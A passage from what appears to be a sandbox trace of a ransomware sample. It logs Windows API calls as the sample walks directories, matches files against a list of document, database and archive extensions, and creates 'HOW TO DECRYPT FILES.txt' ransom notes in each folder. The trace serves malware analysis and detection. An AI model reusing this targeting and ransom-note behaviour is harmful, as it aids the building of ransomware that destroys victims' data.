(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.sql") returned 0 [0108.466] lstrlenA (lpString="*.sql") returned 5 [0108.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.mdb") returned 0 [0108.466] lstrlenA (lpString="*.mdb") returned 5 [0108.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.fdb") returned 0 [0108.466] lstrlenA (lpString="*.fdb") returned 5 [0108.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.wab") returned 0 [0108.466] lstrlenA (lpString="*.wab") returned 5 [0108.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.dat") returned 0 [0108.467] lstrlenA (lpString="*.dat") returned 5 [0108.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.txt") returned 0 [0108.467] lstrlenA (lpString="*.txt") returned 5 [0108.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.jpeg") returned 0 [0108.467] lstrlenA (lpString="*.jpeg") returned 6 [0108.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.jpg") returned 0 [0108.467] lstrlenA (lpString="*.jpg") returned 5 [0108.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.png") returned 0 [0108.467] lstrlenA (lpString="*.png") returned 5 [0108.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.php") returned 0 [0108.467] lstrlenA (lpString="*.php") returned 5 [0108.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.cs") returned 0 [0108.467] lstrlenA (lpString="*.cs") returned 4 [0108.467] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.cpp") returned 0 [0108.467] lstrlenA (lpString="*.cpp") returned 5 [0108.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.rar") returned 0 [0108.468] lstrlenA (lpString="*.rar") returned 5 [0108.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.zip") returned 0 [0108.468] lstrlenA (lpString="*.zip") returned 5 [0108.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.html") returned 0 [0108.468] lstrlenA (lpString="*.html") returned 6 [0108.468] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.htm") returned 0 [0108.468] lstrlenA (lpString="*.htm") returned 5 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.xlsx") returned 0 [0108.469] lstrlenA (lpString="*.xlsx") returned 6 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.xls") returned 0 [0108.469] lstrlenA (lpString="*.xls") returned 5 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.mp4") returned 0 [0108.469] lstrlenA (lpString="*.mp4") returned 5 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.ppt") returned 0 [0108.469] lstrlenA (lpString="*.ppt") returned 5 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.pptx") returned 0 [0108.469] lstrlenA (lpString="*.pptx") returned 6 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.doc") returned 0 [0108.469] lstrlenA (lpString="*.doc") returned 5 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.dot") returned 0 [0108.469] lstrlenA (lpString="*.dot") returned 5 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.docx") returned 0 [0108.469] lstrlenA (lpString="*.docx") returned 6 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.7z") returned 0 [0108.469] lstrlenA (lpString="*.7z") returned 4 [0108.469] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.tar") returned 0 [0108.470] lstrlenA (lpString="*.tar") returned 5 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.bz2") returned 0 [0108.470] lstrlenA (lpString="*.bz2") returned 5 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.gz") returned 0 [0108.470] lstrlenA (lpString="*.gz") returned 4 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.mkv") returned 0 [0108.470] lstrlenA (lpString="*.mkv") returned 5 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.eml") returned 0 [0108.470] lstrlenA (lpString="*.eml") returned 5 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.msg") returned 0 [0108.470] lstrlenA (lpString="*.msg") returned 5 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.edb") returned 0 [0108.470] lstrlenA (lpString="*.edb") returned 5 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.accdb") returned 0 [0108.470] lstrlenA (lpString="*.accdb") returned 7 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.odb") returned 0 [0108.470] lstrlenA (lpString="*.odb") returned 5 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.java") returned 0 [0108.470] lstrlenA (lpString="*.java") returned 6 [0108.470] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.asm") returned 0 [0108.471] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b68cf40, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6b68cf40, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6b6b30a0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x21a000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.471] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.472] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb838c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6eb838c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eb838c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fde90070fcd8c2fc2e0d4359c7d48bb5", cAlternateFileName="FDE900~1")) returned 1 [0108.472] lstrcmpA (lpString1=".", lpString2="fde90070fcd8c2fc2e0d4359c7d48bb5") returned -1 [0108.472] lstrcmpA (lpString1="..", lpString2="fde90070fcd8c2fc2e0d4359c7d48bb5") returned -1 [0108.472] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\*.*") returned="*.*" [0108.472] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\", lpString2="fde90070fcd8c2fc2e0d4359c7d48bb5" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5" [0108.472] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb838c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6eb838c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eb838c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.475] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.475] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb838c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6eb838c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eb838c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.475] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.475] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.475] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9f080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6ea9f080, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eaeb340, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x642e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.SyncServices.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.475] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.475] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessApplications.SyncServices.ni.dll") returned -1 [0108.475] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessApplications.SyncServices.ni.dll") returned -1 [0108.475] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessApplications.SyncServices.ni.dll") returned -1 [0108.475] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\*.*") returned="*.*" [0108.475] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\" [0108.476] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\") returned="" [0108.476] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\HOW TO DECRYPT FILES.txt" [0108.476] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\how to decrypt files.txt")) returned 0xffffffff [0108.476] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.484] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.484] CloseHandle (hObject=0x90) returned 1 [0108.484] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\", lpString2="Microsoft.Office.BusinessApplications.SyncServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\Microsoft.Office.BusinessApplications.SyncServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\Microsoft.Office.BusinessApplications.SyncServices.ni.dll" [0108.484] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\fde90070fcd8c2fc2e0d4359c7d48bb5\\Microsoft.Office.BusinessApplications.SyncServices.ni.dll", pszSpec="*.ems") returned 0 [0108.484] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9f080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6ea9f080, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eaeb340, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x642e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.SyncServices.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.484] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.485] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb838c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6eb838c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eb838c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="fde90070fcd8c2fc2e0d4359c7d48bb5", cAlternateFileName="FDE900~1")) returned 0 [0108.485] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.485] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb55d3450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7857350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7857350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c642e69, dwReserved1=0x72006c, cFileName="Microsoft.Office.In#", cAlternateFileName="MICROS~1.IN#")) returned 1 [0108.485] lstrcmpA (lpString1=".", lpString2="Microsoft.Office.In#") returned -1 [0108.485] lstrcmpA (lpString1="..", lpString2="Microsoft.Office.In#") returned -1 [0108.485] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.485] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Office.In#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#" [0108.485] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb55d3450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7857350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7857350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.492] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.492] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb55d3450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7857350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7857350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.492] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.492] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.492] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7857350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7857350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7857350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1cf7326b83227fb18cc6504a983b6086", cAlternateFileName="1CF732~1")) returned 1 [0108.492] lstrcmpA (lpString1=".", lpString2="1cf7326b83227fb18cc6504a983b6086") returned -1 [0108.492] lstrcmpA (lpString1="..", lpString2="1cf7326b83227fb18cc6504a983b6086") returned -1 [0108.492] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\*.*") returned="*.*" [0108.493] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\", lpString2="1cf7326b83227fb18cc6504a983b6086" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086" [0108.493] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7857350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7857350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7857350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.497] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.497] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb7857350, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7857350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7857350, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.497] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.497] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.497] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7726850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7726850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7726850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x129200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.497] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.497] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Interop.InfoPath.ni.dll") returned -1 [0108.497] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Interop.InfoPath.ni.dll") returned -1 [0108.498] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Interop.InfoPath.ni.dll") returned -1 [0108.498] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\*.*") returned="*.*" [0108.498] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\") 